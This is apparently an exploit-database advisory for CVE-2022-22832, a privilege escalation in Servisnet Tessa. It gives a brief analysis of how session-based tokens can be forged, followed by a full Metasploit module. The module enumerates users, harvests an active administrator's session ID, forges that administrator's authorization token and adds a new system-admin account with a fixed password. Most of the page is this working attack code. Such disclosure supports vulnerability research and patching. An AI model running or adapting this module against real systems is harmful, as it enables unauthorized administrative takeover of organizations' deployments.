CVE-2022-22832

EDB-ID: 50712

05 Jan, 2022 • EXPLOIT

  • The vulnerability was discovered during a permission penetration test.
  • Vendor fixed this vulnerability. Added a new HTTP header "User-auth" after login..Details are below.
  • Servisnet Tessa - Add sysAdmin User Vulnerability
  • Servisnet Tessa - MQTT Credentials Dump Vulnerability
  • Exploit-DB Link
  • CVE-Mitre Link
  • Download servisnet_tessa_privesc.rb (Metasploit)
  • This module exploits privilege escalation in Servisnet Tessa, triggered by add new sysadmin user with any user authorization . An API request to "/data-service/users/[userid]" with any low-authority user returns other users' information in response. The encrypted password information is included here, but privilage escelation is possible with the active sessionid value.

    var token = Buffer.from(`${user.username}:${user.usersessionid}`, 'utf8').toString('base64');

    The logic required for the Authorization header is as above. Therefore, after accessing an authorized user ID value and active sessionId value, if the username and sessionId values are encoded with base64, a valid Token will be obtained and a new admin user can be added.

    Analysis of Vulnerability

    Any user authorized in the application can access the information of any user by making a request to the "/users/[userid]" field with the token information obtained.

    Therefore, by obtaining the "usersessionid" corresponding to this information, a token can be produced in accordance with the below condition.

    token = Buffer.from(`${user.username}:${user.usersessionid}`, 'utf8').toString('base64');
    

    In this direction, it is possible to add a new administrator user to the database by creating a token for the administrator user.

    The attacker or any user in the application can generate tokens with the sessionid obtained by reading the information of other users.

    E.g; When the user ID value obtained by the brute force process is "200", the "role_name":"System Admin" value indicates that the user is an administrator, while the user name with the "username" parameter and the active session information can be learned with the "usersessionid" parameter.

    So, by encoding the entire username:sessionid with base64, the attacker copies the token value of an active administrator. Afterwards, he can add a new admin user to the system with the information he has determined.

    If the user is not active in the system at that moment, this method does not work. Therefore, the ID value of all administrator authorized users in the application should be learned and it should be checked whether each user is active with the sessionid value.

    In order to exploit the vulnerability quickly and successfully, a metasploit module has been prepared.

    A loop like the one above will discover an active admin user and try the obtained token to add a new user.

    Servisnet Tessa - Add sysAdmin User (Unauthenticated) (Metasploit)

    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Auxiliary
      include Msf::Exploit::Remote::HttpClient
    
      def initialize(info = {})
        super(update_info(info,
          'Name'           => 'Servisnet Tessa - Privilege Escalation (Metasploit)',
          'Description'    => %q(
            This module exploits privilege escalation in Servisnet Tessa, triggered by add new sysadmin user with any user authorization .
    		An API request to "/data-service/users/[userid]" with any low-authority user returns other users' information in response.
                    The encrypted password information is included here, but privilage escelation is possible with the active sessionid value.
    
                    var token = Buffer.from(`${user.username}:${user.usersessionid}`, 'utf8').toString('base64');
    
                    The logic required for the Authorization header is as above.
                    Therefore, after accessing an authorized user ID value and active sessionId value, 
                    if the username and sessionId values are encoded with base64, a valid Token will be obtained and a new admin user can be added.		
    
          ),
          'References'     =>
            [
              [ 'CVE', 'CVE-2022-22832' ],
              [ 'URL', 'https://pentest.com.tr/exploits/Servisnet-Tessa-Privilege-Escalation.html' ],
              [ 'URL', 'http://www.servisnet.com.tr/en/page/products' ]
            ],
          'Author'         =>
            [
              'Özkan Mustafa AKKUŞ ' # Discovery & PoC & MSF Module @ehakkus
            ],
          'License'        => MSF_LICENSE,
          'DisclosureDate' => "Dec 22 2021",
          'DefaultOptions' =>
            {
              'RPORT' => 443,
              'SSL'   => true
            }
        ))
    
        register_options([
    	OptString.new('USERNAME',  [true, 'Servisnet Username']),
            OptString.new('PASSWORD',  [true, 'Servisnet Password']),
            OptString.new('TARGETURI',  [true, 'Base path for application', '/'])
        ])
      end
      # split strings to salt
      def split(data, string_to_split)  
        word = data.scan(/"#{string_to_split}"\] = "([\S\s]*?)"/)
        string = word.split('"]').join('').split('["').join('')
        return string
      end  
      # split JSONs to salt
      def splitJSON(data, string_to_split)  
        word = data.scan(/"#{string_to_split}":"([\S\s]*?)"/)
        string = word.split('"]').join('').split('["').join('')
        return string
      end 
      # split JSONs to salt none "
      def splitJSON2(data, string_to_split)  
        word = data.scan(/"#{string_to_split}":([\S\s]*?),/)[0]
        string = word.split('"]').join('').split('["').join('')
        return string
      end 
    
      def app_path
        res = send_request_cgi({
        # default.a.get( check 
          'uri'     => normalize_uri(target_uri.path, 'js', 'app.js'),
    	  'method'  => 'GET'
        })  	
    	
        if res && res.code == 200 && res.body =~ /baseURL/
          data = res.body
          #word = data.scan(/"#{string_to_split}"\] = "([\S\s]*?)"/)
          base_url = data.scan(/baseURL: '\/([\S\s]*?)'/)[0]  
          return base_url
        else
          fail_with(Failure::NotVulnerable, 'baseURL not found!')
        end
      end
    
      def add_user(token, app_path)
         newuser = Rex::Text.rand_text_alpha_lower(8)	
         id = Rex::Text.rand_text_numeric(4)   
         # encrypted password hxZ8I33nmy9PZNhYhms/Dg== / 1111111111
         json_data = '{"alarm_request": 1, "city_id": null, "city_name": null, "decryptPassword": null, "email": "' + newuser + '@localhost.local", "id": ' + id + ', "invisible": 0, "isactive": 1, "isblocked": 0, "levelstatus": 1, "local_authorization": 1, "mail_request": 1, "name": "' + newuser + '", "password": "hxZ8I33nmy9PZNhYhms/Dg==", "phone": null, "position": null, "region_name": "test4", "regional_id": 0, "role_id": 1, "role_name": "Sistem Admin", "rolelevel": 3, "status": null, "surname": "' + newuser + '", "totalRecords": null, "try_pass_right": 0, "userip": null, "username": "' + newuser + '", "userType": "Lokal Kullanıcı"}'
    
         res = send_request_cgi(
           {
           'method' => 'POST',
           'ctype'  => 'application/json',
           'uri' => normalize_uri(target_uri.path, app_path, 'users'),
           'headers' =>
             {
               'Authorization' => token
             },
           'data' => json_data
          })
    
          if res && res.code == 200 && res.body =~ /localhost/
            print_good("The sysAdmin authorized user has been successfully added.")
            print_status("Username: #{newuser}")
            print_status("Password: 1111111111")
          else
            fail_with(Failure::NotVulnerable, 'An error occurred while adding the user. Try again.')
          end
      end
    
      def sessionid_check
    
        res = send_request_cgi({
        # user.usersessionid check 
          'uri'     => normalize_uri(target_uri.path, 'js', 'app.js'),
    	  'method'  => 'GET'
        })  	
    	
        if res && res.code == 200 && res.body =~ /user.usersessionid/ 
              return Exploit::CheckCode::Vulnerable
    	else
    	  fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
    	end
    
      end
    
      def find_admin(token, userid, app_path)	
    
        res = send_request_cgi({
        # token check 
          'uri'     => normalize_uri(target_uri.path, app_path, 'users', userid),
          'headers' =>
             {
               'Authorization' => token
             },
          'method'  => 'GET'
        })     
    
        if not res && res.code == 200 && res.body =~ /usersessionid/
          fail_with(Failure::NotVulnerable, 'An error occurred while use Token. Try again.')
        end
    
        loopid = userid.to_i
        $i = 0
        # The admin userid must be less than the low-authority userid.
        while $i < loopid  do
          $i +=1
          res = send_request_cgi({
           # token check 
             'uri'     => normalize_uri(target_uri.path, app_path, 'users', $i),
             'headers' =>
                {
                  'Authorization' => token
                },
             'method'  => 'GET'
           })  
    
           if res.code == 200 and res.body.include? '"Sistem Admin"' 
             admin_uname = splitJSON(res.body, 'username')
             admin_sessid = splitJSON(res.body, 'usersessionid') 
             admin_userid = splitJSON2(res.body, 'id')
             enc_token = Rex::Text.encode_base64('' + admin_uname + ':' + admin_sessid + '')
             token_admin = 'Basic ' + enc_token + ''
             print_good("Excellent! Admin user found.")
             print_good("Admin Username: #{admin_uname}")
             print_good("Admin SessionId: #{admin_sessid}")
             if session_check(token_admin, admin_userid, admin_uname) == "OK"
               break
             end
           end 
         end
      end
    
      def session_check(token, userid, user) 	
    	
          res = send_request_cgi({
           # session check 
             'uri'     => normalize_uri(target_uri.path, app_path, 'users', userid),
             'headers' =>
                {
                  'Authorization' => token
                },
             'method'  => 'GET'
           })  
    
           if res && res.code == 200 && res.body =~ /managers_codes/
             print_good("Admin session is active.")
             add_user(token, app_path)
             return "OK"
           else
             print_status("Admin user #{user} is not online. Try again later.")
             return "NOT"
           end   
      end
    
      def login_check(user, pass)
    
         json_data = '{"username": "' + user + '", "password": "' + pass + '"}'
    
         res = send_request_cgi(
           {
           'method' => 'POST',
           'ctype'  => 'application/json',
           'uri' => normalize_uri(target_uri.path, app_path, 'api', 'auth', 'signin'),
           'data' => json_data
          })	
    	
          if res && res.code == 200 && res.body =~ /usersessionid/
    	sessid = splitJSON(res.body, 'usersessionid')
    	userid = splitJSON2(res.body, 'id')
    	print_status("Sessionid: #{sessid}")  
    	print_status("Userid: #{userid}")
            enc_token = Rex::Text.encode_base64('' + user + ':' + sessid + '')
            token = 'Basic ' + enc_token + ''
    	print_status("Authorization: #{token}")
            find_admin(token, userid, app_path)
     
    
          else
            fail_with(Failure::NotVulnerable, 'An error occurred while login. Try again.')
          end
      end
    
      def check 	
    	
        if sessionid_check 
          return Exploit::CheckCode::Vulnerable
        else
          return Exploit::CheckCode::Safe
        end
      end
      
      def run
        unless Exploit::CheckCode::Vulnerable == check
          fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
        end
        login_check(datastore['USERNAME'], datastore['PASSWORD'])    
      end
    end